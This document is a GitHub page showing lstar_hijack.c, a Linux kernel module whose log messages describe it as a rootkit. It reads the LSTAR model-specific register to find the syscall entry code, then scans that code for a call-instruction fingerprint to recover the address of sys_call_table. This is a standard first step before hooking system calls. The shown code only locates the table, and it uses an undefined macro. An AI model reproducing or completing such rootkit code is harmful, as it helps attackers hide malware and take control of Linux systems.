-
Notifications
You must be signed in to change notification settings - Fork 0
/
lstar_hijack.c
135 lines (101 loc) · 3.74 KB
/
lstar_hijack.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include <linux/module.h>
#include <linux/kernel.h>
typedef unsigned long fnPtr;
#define arch_ptr_inc(ptr) ((char *) (ptr) + 1)
#define FINGERPRINT "\xff\x14\xc5" // call QWORD PTR [rax * 8 + addr]
#define FINGERPRINT_LENGTH 3
fnPtr* sys_call_table;
/**
* Parse the instructions buffer to find the fingerprint for: call QWORD PTR [rax*8 + sys_call_table]
* ff 14 c5 [ e0 01 e0 bc ]
*
* @param {void *} buffer
* @param {void *} fingerprint
* @param {uint32_t} fingerprint length
* @param {uint32_t} maximum kernel memory offset
* @return {void *}
*/
void* find_fingerprint(void* buffer, void* fingerprint, uint32_t f_length, uint32_t max_length) {
register int off = 0;
register int f_off = 0;
char* casted_f = (char *) fingerprint;
char* casted_buf = (char *) buffer;
// Iterate through the kernel buffer memory
for ( off = 0; off < max_length; off++ ) {
// Fetch from the current offset
for ( f_off = 0; f_off < f_length; f_off++ ) {
// If fingerprint char doesn't match
if ( casted_buf[off + f_off] != casted_f[f_off] )
break;
}
// We readed whole fingerprint at off
if ( f_off == f_length )
return &casted_buf[off];
}
return NULL;
}
/**
* Read SYSENTER/SYSCALL instruction entrypoint from IA32_LSTAR model-specific register.
*
* @return {void *}
*/
fnPtr* read_msr_syscall_entry(void) {
register int high_order asm("edx");
register int low_order asm("eax");
unsigned long syscall_entry = 0x0;
int msr_reg = 0xc0000082; // LSTAR_MSR
asm ( "rdmsr" : : "c" (msr_reg) ); // Read MSR
printk(KERN_INFO "rdmsr put 0x%x in edx, 0x%x in eax", high_order, low_order);
syscall_entry = (ARCH_FUNCTION_POINTER) high_order;
syscall_entry <<= 32;
syscall_entry |= (ARCH_FUNCTION_POINTER) low_order;
return (fnPtr *) syscall_entry;
}
/**
* Find the fingerprint of call QWORD PTR [rax * 8 + addr] followed by a valid kernel virtual address.
*
* @param {void *} entrypoint
* @param {uint32_t} max_offset
* @return {void *}
*/
void* find_call_addr(void* entrypoint, uint32_t max_offset) {
uint32_t current_offset = 0;
void* call_addr;
while ( current_offset < max_offset ) {
call_addr = find_fingerprint(entrypoint, FINGERPRINT, FINGERPRINT_LENGTH, max_offset - FINGERPRINT_LENGTH); // Read at most max_offset bytes
if ( call_addr == NULL ) {
printk(KERN_INFO "Unable to find call fingerprint. Abort.\n");
return NULL;
}
/* virt_addr validity check */
if ( virt_addr_valid(call_addr) ) {
return call_addr;
}
printk(KERN_INFO "Found something but the address is wrong :/, looking further...\n");
current_offset = call_addr - entrypoint; // Increment offset
entrypoint = arch_ptr_inc(call_addr); // Set the new entrypoint to previous found + 1 (to avoid same hit)
}
return NULL;
}
fnPtr* find_sys_call_table() {
fnPtr* lstar_msr_read;
fnPtr* table;
char* call_addr;
/* Reading LSTAR_MSR */
lstar_msr_read = read_msr_syscall_entry();
call_addr = find_call_addr(lstar_msr_read, 512);
if ( call_addr == NULL )
return call_addr;
table = (fnPtr *) ( 0xFFFFFFFF00000000 | *(uint32_t *) ( call_addr + 3 ) );
return table;
}
int init_module(void) {
sys_call_table = find_sys_call_table();
printk(KERN_INFO "rootkit entrypoint.\n");
printk(KERN_INFO "sys_call_table at %p\n", sys_call_table);
return 0;
}
void cleanup_module(void) {
printk(KERN_INFO "Exiting rootkit.\n");
}
MODULE_LICENSE("GPL");